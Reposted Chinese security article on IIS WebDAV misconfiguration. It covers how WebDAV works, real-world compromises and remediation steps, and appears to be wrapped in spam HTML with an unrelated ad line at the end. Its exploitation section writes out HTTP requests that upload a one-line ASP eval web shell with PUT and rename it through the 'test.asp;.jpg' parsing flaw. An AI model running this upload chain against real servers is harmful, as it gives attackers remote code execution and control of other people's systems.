<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/238

                    0x00 簡介


                    WebDAV是一種基于 HTTP 1.1協議的通信協議.它擴展了HTTP 1.1,在GET、POST、HEAD等幾個HTTP標準方法以外添加了一些新的方法。

                    使應用程序可直接對Web Server直接讀寫,并支持寫文件鎖定(Locking)及解鎖(Unlock),還可以支持文件的版本控制。

                    IIS實現Webdav是采用的其兩種接口CGI、ISAPI的ISAPI接口。

                    但因為其沒有采用影射的方式,所以IIS的主程序w3svc.dll本身包含了Webdav的信息。

                    其識別出是Webdav的請求后就調用Webdav的處理模塊httpext.dll。

                    對于常見幾種請求方法GET、HEAD、POST等,因為常見一些映射都支持。

                    所以不能以請求方法作為Webdav請求的判斷,w3svc.dll就根據請求頭的字段識別。

                    如果請求頭里面包含Translate:If:Lock-Token:中的一種,就認為是Webdav的請求。

                    Translate:就是那個Translate:f的泄露源代碼的一個請求頭,其實設置別的兩個也是一樣的。

                    可能很多IDS是沒有這點知識的。W3svc.dll還內置了幾個別的請求方法TRACKTRACE等。

                    TRACK就是用于調試錯誤的,如果收到這樣的請求頭,w3svc.dll會原樣返回請求數據。

                    相當于我們常見的ping.exe。

                    IIS對TRACK請求沒有進行LOG記錄,這點我們可以用于來獲得banner。

                    對于IIS將優于大家習慣使用的HEAD

                    如果上面的請求方法沒匹配,那么w3svc.dll就會認為是Webdav的請求,交給httpext.dll處理了。

                    這些請求包含Webdav支持的PROPFINDPROPPATCHMKCOLDELETEPUTCOPYMOVELOCKUNLOCK等。

                    0x01 配置


                    為了安全上的考慮,IIS默認并不會啟動WebDAV的功能,因此必須另外來激活它。

                    通過啟動“IIS管理器”,展開本地計算機,選擇“Web服務擴展”,選擇“允許”的途徑來啟動WebDAV功能。

                    開啟WebDAV之后,IIS就支持PROPFINDPROPPATCHMKCOLDELETEPUTCOPYMOVELOCKUNLOCK等方法了。

                    enter image description here

                    當IIS中的配置允許寫入的時候就可以直接PUT文件上去,由此可能引發非常嚴重的安全問題,強烈建議禁制

                    enter image description here

                    0x02 危害


                    當開啟了WebDAV后,IIS中又配置了目錄可寫,便會產生很嚴重的問題。 wooyun上由此配置產生的問題很多,并且有老外黑了一群中國政府站有一部分就是由于此配置。 危害巨大,操作簡單,直接批量掃描,上傳shell。

                    WooYun: 閃動科技webserver配置不當可取shell

                    WooYun: 瑞達信息安全產業股份有限公司IIS寫入漏洞

                    WooYun: 海航webdav漏洞導致服務器淪陷

                    WooYun: 阿里某郵件系統服務器配置不當

                    WooYun: 國家某局某文件系統存在嚴重安全問題

                    WooYun: 國內某大型風電工控系統應用配置失誤

                    0x03 查找存在問題的服務器


                    對服務器發送OPTION包:

                    OPTIONS / HTTP/1.1
                    Host: www.test.com
                    

                    返回響應頭如下:

                    HTTP/1.1 200 OK
                    Server: Microsoft-IIS/6.0
                    X-Powered-By: ASP.NET
                    MS-Author-Via: DAV
                    Content-Length: 0
                    Accept-Ranges: none
                    DASL: <DAV:sql>
                    DAV: 1, 2
                    Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
                    Allow: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
                    Cache-Control: private
                    

                    當ALLOW中包含如上方法時,可以確定服務器開啟了WebDAV。

                    此時可以用PUT上傳文件,但是不可以直接上傳可執行腳本文件,可以先上傳一個其他類型的文件,然后MOVE成腳本文件。

                    PUT /test.txt HTTP/1.1
                    Host: www.test.com
                    Content-Length: 23
                    
                    <%eval request("a")%>
                    

                    啟用了“WebDAV”擴展,并且復選了“寫入”,就可以寫入txt文件了。要想使用MOVE命令將其更名為腳本文件后綴,必須還復選上“腳本資源訪問”。

                    但是發現利用IIS的解析漏洞,可以MOVE成test.asp;.jpg,然后就可以當做shell來執行了

                    MOVE /test.txt HTTP/1.1
                    Host: www.test.com
                    Destination: http://www.test.com/test.asp;.jpg
                    

                    有一個開源的DAV管理工具,使用工具直接查看:

                    http://www.davexplorer.org/download.html

                    0x03 修復方案


                    1 禁用WebDAV。

                    通常情況下網站不需要支持額外的方法,右鍵WebDAV,點擊禁用即可。

                    2 如果要使用WebDAV的話,加上權限驗證。

                    如果選取“腳本資源訪問”,則用戶將具備修改WebADV文件夾內的腳本文說明件(scriptfile)的功能。

                    除了此處的虛擬目錄權限外,還需要視NTFS權限,才可以決定用戶是否有權限來訪問WebDAV文件夾內的文件。

                    WebDAV文件夾的NTFS權限給予用戶適當的NTFS權限。

                    首先請設置讓Everyone組只有“讀取”的權限,然后再針對個別用戶給予“寫入”的權限,例如我們給予用戶“User”寫入的權限。

                    選擇驗證用戶身份的方法啟動“IIS管理器”,然后右擊WebDAV虛擬目錄,選擇“屬性”→“目錄安全性”,單擊“身份驗證和訪問控制”處的編輯按鈕。

                    不要選取“啟用匿名訪問”,以免招致攻擊。選擇安全的驗證方法,選擇“集成Windows身份驗證”。

                    enter image description here

                    參考:

                    http://hi.baidu.com/yuange1975/item/a836d31096b5b959f1090e89

                    http://www.daxigua.com/archives/1597

                    http://www.daxigua.com/archives/2750

                    http://www.daxigua.com/archives/2747

                    http:[email protected]/blog/static/4116699420123261427232/

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频